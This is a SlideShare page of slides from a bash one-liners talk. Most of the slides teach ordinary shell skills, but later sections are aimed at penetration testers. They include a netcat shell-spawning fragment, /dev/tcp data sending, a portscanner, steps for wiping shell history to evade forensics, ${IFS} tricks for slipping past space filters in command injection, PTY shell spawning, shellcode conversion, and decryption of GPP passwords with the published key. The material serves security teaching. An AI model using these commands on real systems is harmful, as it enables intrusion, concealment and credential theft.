SlideShare a Scribd company logo
One-Liners to Rule
Them All
egypt
wvu
What this is
Bash basics
● Minor portability considerations
One-liners and demos of stuff we find to be useful
@egyp7 @wvuuuuuuuuuuuuu
What this isn’t
Linux system administration
● Although there is some amount of overlap
Reading the man page to you
@egyp7 @wvuuuuuuuuuuuuu
`man bash` is
cavernous
There are resources to help
One-Liners to Rule Them All
One-Liners to Rule Them All
From the abstract
Sometimes you just need to pull out the third column of a CSV
file. Sometimes you just need to sort IP addresses. Sometimes you
have to pull out IP addresses from the third column and sort them,
but only if the first column is a particular string and for some
reason the case is random.
Up, edit, enter, repeat
cat file
cat file | grep open
cat file | grep -i open
cat file | grep -i open | cut -d, -f3
grep -i open | cut -d, -f3
grep -i open | cut -d, -f3 | sort -V
awk -F, 'tolower($1) ~ /open/ { print $3 }' file | sort -V
Conventions
Commands are usually suffixed with a man(1) section
Almost all of what we’re talking about here is man section 1
But there’s naming overlaps with syscalls (man section 2), C
functions (man section 3), and occasionally config files (man
section 5)
One-Liners to Rule Them All
Core Concepts
● Pipes and redirection
● Variables and substitution
● Standard tools
● History expansion
● Brace expansion
● Tilde expansion
Pipes and Redirection
Pipes and Redirection
● echo wut | cat
● echo wut > /tmp/wut
○ cat /tmp/wut
○ cat < /tmp/wut
File descriptors: &0 &1 &2 &n
nc -e /bin/sh [...] exec 2>&1
exec 3<>/dev/tcp/10.1.1.1/80;echo $'GET / HTTP/1.0n' >&3;cat <&3
Standards
grep(1), sed(1), cut(1), sort(1), awk(1)
Builtins -- echo, test, read, while, for
grep Searches in Text
Regular expressions are tricky, but you can learn the basics
quickly. A large portion of regexes involve these three things:
● .* any number of characters
● ^ anchor at beginning
● $ anchor at end
grep '500.*Chrome' /var/log/apache2/error.log
sed is an Editor
sed -e 1d -e s/foo/bar/g /tmp/foo
sed '1d; s/foo/bar/g' /tmp/foo
sed -i '/192.168.0.1/d' /var/log/apache2/access.log
ed is the Standard Editor
cut is a babby awk
echo a,b,c,d,e | cut -d, -f 1-3,5
Roughly equivalent to awk -F, ‘{ print $1 $2 $3 $5 }’
sort … sorts stuff
sort file
cat file1 file2 file3 | sort
sort -u
cat … Concatenates stuff
Lots of folks will tell you not to use cat.
There exists a Useless Use of Cat Award to tell you not to use cat
Don’t listen to those people. Hack the way you wanna hack.
But there’s really no reason to use cat.
Useless Use of Cat
@egyp7 @wvuuuuuuuuuuuuu
uniq is … Unique
Input must be sorted so… “sort -u” covers a lot of it
Except for: uniq -c
● Print each unique line along with the number of times it
occurred
sort | uniq -c
awk is a Language
This is grep: awk ‘/regex/ { print }’
This is cut: awk -F, ‘{ print $2 }’
But wait! There’s more!
Variables and Substitution
foo=$(echo wut); echo $foo
foo=${PATH//:/ } # PATH with spaces instead of :
echo${IFS}wut
echo ${file%.txt} # Strip extension
History Expansion
Handled by Readline
● Controlled with ~/.inputrc
!$ !! !* !^ !:2 !:2-6 !-2
~/.inputrc
$if Bash
Space: magic-space
$endif
set completion-ignore-case on
# Use <up> and <down> to search based on what we've already typed
"e[A": history-search-backward
"e[B": history-search-forward
Brace expansion
Everything inside braces, separated by commas
● echo {a,b,c}
● cp file.{csv,txt}
As a replacement for seq(1)
● {1..99} # same as `seq 1 99`
● {01..99} # Zero-pad
● {01..99..2} # Zero-pad, with a step of 2
Tilde expansion
~user is user’s home dir
● E.g. ~egypt is /home/egypt
~ is the current user’s home directory
● $HOME
~+ is $PWD # Not the same as .
~- is $OLDPWD
Loops
for var in expression; do command; command; done
● for f in *; do mv “$f” “${f/.csv/.txt}”; done
while expression; do command; command; done
● <file while read; do echo “$REPLY”; done
● <file while read line; do echo “$line”; done
until expression; do command; command; done
● Inverse of while loop
Process and Command Substitution
$(), ``
echo $(echo wut)
● Substitutes a command for text
<(), >()
cat <(echo wut)
● Substitutes a command for a file
Aliases
Great for things you find yourself typing all the time
Like macro in C, just direct replacement
E.g.:
● alias ll="ls -aLF"
● alias l.="ls -d .[^.]*"
Examples
Stuff that isn’t super easy to demo
Sort IP Addresses
With GNU sort(1) and modern BSD, OSX:
● sort -V
With POSIX sort(1)
● sort -t . -nk 1,1 -k 2,2 -k 3,3 -k 4,4
sort -u …
sort --debug
Print unique lines without sorting
awk '{ if (!seen[$0]++) print }' /tmp/foo
# array named “seen”, with index of current line
seen[$0]
# will be 0 at first, non-zero after increment
!seen[$0]++
# “print” by itself prints $0, the whole line
Remote stuff with SSH
ssh -J user1@host1 user2@host2
ssh -ND 1080 user1@host1
ssh -NL 3389:desktop-1:3389 user1@host1
ssh -NR 4444:localhost:4444 user1@host1
ssh user1@host1 tee rfile < lfile # Like scp(1) upload
ssh user1@host1 cat rfile > lfile # Like scp(1) download
Remote stuff with bash
gzip -c file > /dev/tcp/192.168.0.1/80
● /dev/tcp is a special magical “file” in bash
● Compile-time option, default now in Debian derivatives
# Shitty portscanner
for port in {1..1023}; do
: 2> /dev/null > "/dev/tcp/192.168.0.1/$port" && echo "$port"
done
Random stuff
xsel -b < file.txt
nc -znv 192.168.0.1 1-1023 |& grep -v refused
Leave No Trace
Files that snitch on you
~/.bash_history
● And ~/.*_history
~/.wget-hsts
~/.lesshst
Editors
● Vim: *.swp files, .viminfo
● Emacs: ~ suffixed files
STFU, /bin/bash
unset HISTFILE
export HISTFILE=/dev/null
ln -sf /dev/null ~/.bash_history
history -c; kill -9 $$
STFU, other stuff
wget --no-hsts
export MYSQL_HISTFILE=/dev/null; mysql
ln -sf /dev/null ~/.psql_history; psql
vim -ni NONE file
ssh -o UserKnownHostsFile=/dev/null
Commands that snitch
ssh(1) uses your current username if you don’t specify one
rdesktop(1) and xfreerdp(1) do the same
ftp(1) does, but doesn’t actually send it until you log in
Local Opsec
~/.ssh/config
User root
~/.netrc
default login anonymous password anonymous@mozilla.org
~/.bashrc
alias rdesktop=”rdesktop -U Administrator”
Commands in Exploitation
One-Liners to Rule Them All
Can’t use spaces
echo${IFS}this${IFS}has${IFS}no${IFS}spaces
{echo,this,has,no,spaces}
ls(1), cat(1) aren’t available
echo *
find . -maxdepth 1
while read line; do echo “$line”; done < file
head -n 99999
Read binary over text-only link
Bajillion ways to do this
● base64, xxd, hexdump, hd, od, openssl base64, perl, python
How you parse it on the other side depends on what worked on
target
Write binary over text-only link
printf %b "105114106177" > file.bin
xxd -r -p <<<454c467f > file.bin
perl -e 'print "105114106177"' > file.bin
Bonus!
Everything on the previous two slides is automatic on shell
sessions in Metasploit. Upload and download just work (tm).
Host some stuff
python -m SimpleHTTPServer 8080
python -m http.server 8080
ruby -run -e httpd
php -S 0:8080 # Interprets PHP, too
busybox httpd -p 8080
Spawning a PTY shell
script -q /dev/null # Uses $SHELL and is mostly portable
● script -qc /bin/bash /dev/null # Spawns bash the GNU way
● script -q /dev/null /bin/bash # Spawns bash the BSD way
python -c 'import pty; pty.spawn("/bin/bash")' # Popular!
expect -c 'spawn /bin/bash; interact' # Oldie but goodie
Many other ways (look for openpty(3) calls)
Convert shellcode to hex-escaped bytes
objcopy --dump-section .text=/dev/stdout shellcode | xxd -p | sed
's/../x&/g' | tr -d "n"
● Dump .text section
● Convert to hex
● Escape hex
● Delete newlines
hexdump -ve '"x" 1/1 "%02x"'
● Equivalent to xxd, sed, and tr
Encrypt or decrypt GPP “cpassword”
echo -n demo | iconv -t UTF-16LE | openssl enc -aes-256-cbc -a -iv
"" -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
-nosalt
● Encrypts plaintext “demo”
openssl enc -aes-256-cbc -d -a -iv "" -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
-nosalt <<<kHB0+HMUTs/6ySSZ8usxXg==
● Decrypts the above
Resources
http://explainshell.com # Break it down
http://www.tldp.org/LDP/abs/html/ # Classic
http://wiki.bash-hackers.org/ # Awesome
https://mywiki.wooledge.org/BashPitfalls # Good to know
Google site:stackoverflow.com
@egyp7 @wvuuuuuuuuuuuuu
Useless Use of Cat

More Related Content

PPTX
PSConfEU - Offensive Active Directory (With PowerShell!)
PPT
Bypass file upload restrictions
PDF
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PDF
Bypass_AV-EDR.pdf
PDF
Why rust?
PPTX
A Forgotten HTTP Invisibility Cloak
PDF
Why Rust? - Matthias Endler - Codemotion Amsterdam 2016
PSConfEU - Offensive Active Directory (With PowerShell!)
Bypass file upload restrictions
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Bypass_AV-EDR.pdf
Why rust?
A Forgotten HTTP Invisibility Cloak
Why Rust? - Matthias Endler - Codemotion Amsterdam 2016

What's hot (20)

PDF
Building Pluggable Web Applications using Django
PPTX
Offensive Python for Pentesting
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PDF
MacOS memory allocator (libmalloc) Exploitation
PDF
Secure PHP Coding
PPTX
Puppeteer - Headless Chrome Node API
PDF
ES6: The Awesome Parts
PPTX
Attacking thru HTTP Host header
PDF
Secure Coding principles by example: Build Security In from the start - Carlo...
PPTX
Directory Traversal & File Inclusion Attacks
PDF
Lie to Me: Bypassing Modern Web Application Firewalls
PDF
Detecting WMI Exploitation v1.1
PDF
Introduce to Rust-A Powerful System Language
PPTX
Introduction to Rust language programming
PPTX
JavaScript Engines and Event Loop
PPTX
AlienVault Brute Force Attacks- Keeping the Bots at Bay with AlienVault USM +...
PDF
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
PPTX
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
PPTX
XXE: How to become a Jedi
Building Pluggable Web Applications using Django
Offensive Python for Pentesting
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
MacOS memory allocator (libmalloc) Exploitation
Secure PHP Coding
Puppeteer - Headless Chrome Node API
ES6: The Awesome Parts
Attacking thru HTTP Host header
Secure Coding principles by example: Build Security In from the start - Carlo...
Directory Traversal & File Inclusion Attacks
Lie to Me: Bypassing Modern Web Application Firewalls
Detecting WMI Exploitation v1.1
Introduce to Rust-A Powerful System Language
Introduction to Rust language programming
JavaScript Engines and Event Loop
AlienVault Brute Force Attacks- Keeping the Bots at Bay with AlienVault USM +...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
XXE: How to become a Jedi
Ad

Similar to One-Liners to Rule Them All (20)

PDF
Bash Scripting Workshop
ODP
Perl - laziness, impatience, hubris, and one liners
PDF
Unleash your inner console cowboy
PDF
Shell scripting
PDF
Apache Hadoop Shell Rewrite
ODP
NYPHP March 2009 Presentation
ODP
Unix tips and tricks
PPT
101 3.4 use streams, pipes and redirects
ODP
DevChatt 2010 - *nix Cmd Line Kung Foo
PDF
Shell scripting
PDF
Linux basic for CADD biologist
DOCX
Really useful linux commands
PPTX
Learning Puppet basic thing
PPTX
RHCSA EX200 - Summary
PDF
Unleash your inner console cowboy
PPT
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
PDF
Linux Commands - Cheat Sheet
PDF
Docker perl build
PPTX
Naughty And Nice Bash Features
PDF
Lets make better scripts
Bash Scripting Workshop
Perl - laziness, impatience, hubris, and one liners
Unleash your inner console cowboy
Shell scripting
Apache Hadoop Shell Rewrite
NYPHP March 2009 Presentation
Unix tips and tricks
101 3.4 use streams, pipes and redirects
DevChatt 2010 - *nix Cmd Line Kung Foo
Shell scripting
Linux basic for CADD biologist
Really useful linux commands
Learning Puppet basic thing
RHCSA EX200 - Summary
Unleash your inner console cowboy
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
Linux Commands - Cheat Sheet
Docker perl build
Naughty And Nice Bash Features
Lets make better scripts
Ad

More from egypt (12)

PPTX
Privilege Escalation with Metasploit
PDF
The State of the Metasploit Framework.pdf
PDF
New Shiny in the Metasploit Framework
PDF
Open Source, Security, and Open Source Security.pdf
PPTX
Authenticated Code Execution by Design.pptx
PDF
Offensive Security with Metasploit
PDF
Shiny
PDF
already-0wned
PDF
Post Metasploitation
PDF
State of the Framework Address: Recent Developments in the Metasploit Framework
PDF
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
PDF
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
Privilege Escalation with Metasploit
The State of the Metasploit Framework.pdf
New Shiny in the Metasploit Framework
Open Source, Security, and Open Source Security.pdf
Authenticated Code Execution by Design.pptx
Offensive Security with Metasploit
Shiny
already-0wned
Post Metasploitation
State of the Framework Address: Recent Developments in the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...

Recently uploaded (20)

PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PDF
medical staffing services at VALiNTRY
PPTX
ISO 45001 Occupational Health and Safety Management System
PDF
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
PTS Company Brochure 2025 (1).pdf.......
PPTX
ManageIQ - Sprint 268 Review - Slide Deck
PDF
top salesforce developer skills in 2025.pdf
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PDF
How Creative Agencies Leverage Project Management Software.pdf
PPTX
L1 - Introduction to python Backend.pptx
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
PDF
System and Network Administraation Chapter 3
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PPTX
CHAPTER 2 - PM Management and IT Context
PDF
Nekopoi APK 2025 free lastest update
PDF
AI in Product Development-omnex systems
Upgrade and Innovation Strategies for SAP ERP Customers
Design an Analysis of Algorithms II-SECS-1021-03
2025 Textile ERP Trends: SAP, Odoo & Oracle
medical staffing services at VALiNTRY
ISO 45001 Occupational Health and Safety Management System
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
Navsoft: AI-Powered Business Solutions & Custom Software Development
PTS Company Brochure 2025 (1).pdf.......
ManageIQ - Sprint 268 Review - Slide Deck
top salesforce developer skills in 2025.pdf
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
How Creative Agencies Leverage Project Management Software.pdf
L1 - Introduction to python Backend.pptx
Wondershare Filmora 15 Crack With Activation Key [2025
System and Network Administraation Chapter 3
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
CHAPTER 2 - PM Management and IT Context
Nekopoi APK 2025 free lastest update
AI in Product Development-omnex systems

One-Liners to Rule Them All

  • 1. One-Liners to Rule Them All egypt wvu
  • 2. What this is Bash basics ● Minor portability considerations One-liners and demos of stuff we find to be useful @egyp7 @wvuuuuuuuuuuuuu
  • 3. What this isn’t Linux system administration ● Although there is some amount of overlap Reading the man page to you @egyp7 @wvuuuuuuuuuuuuu
  • 8. From the abstract Sometimes you just need to pull out the third column of a CSV file. Sometimes you just need to sort IP addresses. Sometimes you have to pull out IP addresses from the third column and sort them, but only if the first column is a particular string and for some reason the case is random.
  • 9. Up, edit, enter, repeat cat file cat file | grep open cat file | grep -i open cat file | grep -i open | cut -d, -f3 grep -i open | cut -d, -f3 grep -i open | cut -d, -f3 | sort -V awk -F, 'tolower($1) ~ /open/ { print $3 }' file | sort -V
  • 10. Conventions Commands are usually suffixed with a man(1) section Almost all of what we’re talking about here is man section 1 But there’s naming overlaps with syscalls (man section 2), C functions (man section 3), and occasionally config files (man section 5)
  • 12. Core Concepts ● Pipes and redirection ● Variables and substitution ● Standard tools ● History expansion ● Brace expansion ● Tilde expansion
  • 14. Pipes and Redirection ● echo wut | cat ● echo wut > /tmp/wut ○ cat /tmp/wut ○ cat < /tmp/wut File descriptors: &0 &1 &2 &n nc -e /bin/sh [...] exec 2>&1 exec 3<>/dev/tcp/10.1.1.1/80;echo $'GET / HTTP/1.0n' >&3;cat <&3
  • 15. Standards grep(1), sed(1), cut(1), sort(1), awk(1) Builtins -- echo, test, read, while, for
  • 16. grep Searches in Text Regular expressions are tricky, but you can learn the basics quickly. A large portion of regexes involve these three things: ● .* any number of characters ● ^ anchor at beginning ● $ anchor at end grep '500.*Chrome' /var/log/apache2/error.log
  • 17. sed is an Editor sed -e 1d -e s/foo/bar/g /tmp/foo sed '1d; s/foo/bar/g' /tmp/foo sed -i '/192.168.0.1/d' /var/log/apache2/access.log
  • 18. ed is the Standard Editor
  • 19. cut is a babby awk echo a,b,c,d,e | cut -d, -f 1-3,5 Roughly equivalent to awk -F, ‘{ print $1 $2 $3 $5 }’
  • 20. sort … sorts stuff sort file cat file1 file2 file3 | sort sort -u
  • 21. cat … Concatenates stuff Lots of folks will tell you not to use cat. There exists a Useless Use of Cat Award to tell you not to use cat Don’t listen to those people. Hack the way you wanna hack. But there’s really no reason to use cat.
  • 22. Useless Use of Cat @egyp7 @wvuuuuuuuuuuuuu
  • 23. uniq is … Unique Input must be sorted so… “sort -u” covers a lot of it Except for: uniq -c ● Print each unique line along with the number of times it occurred sort | uniq -c
  • 24. awk is a Language This is grep: awk ‘/regex/ { print }’ This is cut: awk -F, ‘{ print $2 }’ But wait! There’s more!
  • 25. Variables and Substitution foo=$(echo wut); echo $foo foo=${PATH//:/ } # PATH with spaces instead of : echo${IFS}wut echo ${file%.txt} # Strip extension
  • 26. History Expansion Handled by Readline ● Controlled with ~/.inputrc !$ !! !* !^ !:2 !:2-6 !-2
  • 27. ~/.inputrc $if Bash Space: magic-space $endif set completion-ignore-case on # Use <up> and <down> to search based on what we've already typed "e[A": history-search-backward "e[B": history-search-forward
  • 28. Brace expansion Everything inside braces, separated by commas ● echo {a,b,c} ● cp file.{csv,txt} As a replacement for seq(1) ● {1..99} # same as `seq 1 99` ● {01..99} # Zero-pad ● {01..99..2} # Zero-pad, with a step of 2
  • 29. Tilde expansion ~user is user’s home dir ● E.g. ~egypt is /home/egypt ~ is the current user’s home directory ● $HOME ~+ is $PWD # Not the same as . ~- is $OLDPWD
  • 30. Loops for var in expression; do command; command; done ● for f in *; do mv “$f” “${f/.csv/.txt}”; done while expression; do command; command; done ● <file while read; do echo “$REPLY”; done ● <file while read line; do echo “$line”; done until expression; do command; command; done ● Inverse of while loop
  • 31. Process and Command Substitution $(), `` echo $(echo wut) ● Substitutes a command for text <(), >() cat <(echo wut) ● Substitutes a command for a file
  • 32. Aliases Great for things you find yourself typing all the time Like macro in C, just direct replacement E.g.: ● alias ll="ls -aLF" ● alias l.="ls -d .[^.]*"
  • 33. Examples Stuff that isn’t super easy to demo
  • 34. Sort IP Addresses With GNU sort(1) and modern BSD, OSX: ● sort -V With POSIX sort(1) ● sort -t . -nk 1,1 -k 2,2 -k 3,3 -k 4,4 sort -u … sort --debug
  • 35. Print unique lines without sorting awk '{ if (!seen[$0]++) print }' /tmp/foo # array named “seen”, with index of current line seen[$0] # will be 0 at first, non-zero after increment !seen[$0]++ # “print” by itself prints $0, the whole line
  • 36. Remote stuff with SSH ssh -J user1@host1 user2@host2 ssh -ND 1080 user1@host1 ssh -NL 3389:desktop-1:3389 user1@host1 ssh -NR 4444:localhost:4444 user1@host1 ssh user1@host1 tee rfile < lfile # Like scp(1) upload ssh user1@host1 cat rfile > lfile # Like scp(1) download
  • 37. Remote stuff with bash gzip -c file > /dev/tcp/192.168.0.1/80 ● /dev/tcp is a special magical “file” in bash ● Compile-time option, default now in Debian derivatives # Shitty portscanner for port in {1..1023}; do : 2> /dev/null > "/dev/tcp/192.168.0.1/$port" && echo "$port" done
  • 38. Random stuff xsel -b < file.txt nc -znv 192.168.0.1 1-1023 |& grep -v refused
  • 40. Files that snitch on you ~/.bash_history ● And ~/.*_history ~/.wget-hsts ~/.lesshst Editors ● Vim: *.swp files, .viminfo ● Emacs: ~ suffixed files
  • 41. STFU, /bin/bash unset HISTFILE export HISTFILE=/dev/null ln -sf /dev/null ~/.bash_history history -c; kill -9 $$
  • 42. STFU, other stuff wget --no-hsts export MYSQL_HISTFILE=/dev/null; mysql ln -sf /dev/null ~/.psql_history; psql vim -ni NONE file ssh -o UserKnownHostsFile=/dev/null
  • 43. Commands that snitch ssh(1) uses your current username if you don’t specify one rdesktop(1) and xfreerdp(1) do the same ftp(1) does, but doesn’t actually send it until you log in
  • 44. Local Opsec ~/.ssh/config User root ~/.netrc default login anonymous password anonymous@mozilla.org ~/.bashrc alias rdesktop=”rdesktop -U Administrator”
  • 48. ls(1), cat(1) aren’t available echo * find . -maxdepth 1 while read line; do echo “$line”; done < file head -n 99999
  • 49. Read binary over text-only link Bajillion ways to do this ● base64, xxd, hexdump, hd, od, openssl base64, perl, python How you parse it on the other side depends on what worked on target
  • 50. Write binary over text-only link printf %b "105114106177" > file.bin xxd -r -p <<<454c467f > file.bin perl -e 'print "105114106177"' > file.bin
  • 51. Bonus! Everything on the previous two slides is automatic on shell sessions in Metasploit. Upload and download just work (tm).
  • 52. Host some stuff python -m SimpleHTTPServer 8080 python -m http.server 8080 ruby -run -e httpd php -S 0:8080 # Interprets PHP, too busybox httpd -p 8080
  • 53. Spawning a PTY shell script -q /dev/null # Uses $SHELL and is mostly portable ● script -qc /bin/bash /dev/null # Spawns bash the GNU way ● script -q /dev/null /bin/bash # Spawns bash the BSD way python -c 'import pty; pty.spawn("/bin/bash")' # Popular! expect -c 'spawn /bin/bash; interact' # Oldie but goodie Many other ways (look for openpty(3) calls)
  • 54. Convert shellcode to hex-escaped bytes objcopy --dump-section .text=/dev/stdout shellcode | xxd -p | sed 's/../x&/g' | tr -d "n" ● Dump .text section ● Convert to hex ● Escape hex ● Delete newlines hexdump -ve '"x" 1/1 "%02x"' ● Equivalent to xxd, sed, and tr
  • 55. Encrypt or decrypt GPP “cpassword” echo -n demo | iconv -t UTF-16LE | openssl enc -aes-256-cbc -a -iv "" -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -nosalt ● Encrypts plaintext “demo” openssl enc -aes-256-cbc -d -a -iv "" -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -nosalt <<<kHB0+HMUTs/6ySSZ8usxXg== ● Decrypts the above
  • 56. Resources http://explainshell.com # Break it down http://www.tldp.org/LDP/abs/html/ # Classic http://wiki.bash-hackers.org/ # Awesome https://mywiki.wooledge.org/BashPitfalls # Good to know Google site:stackoverflow.com @egyp7 @wvuuuuuuuuuuuuu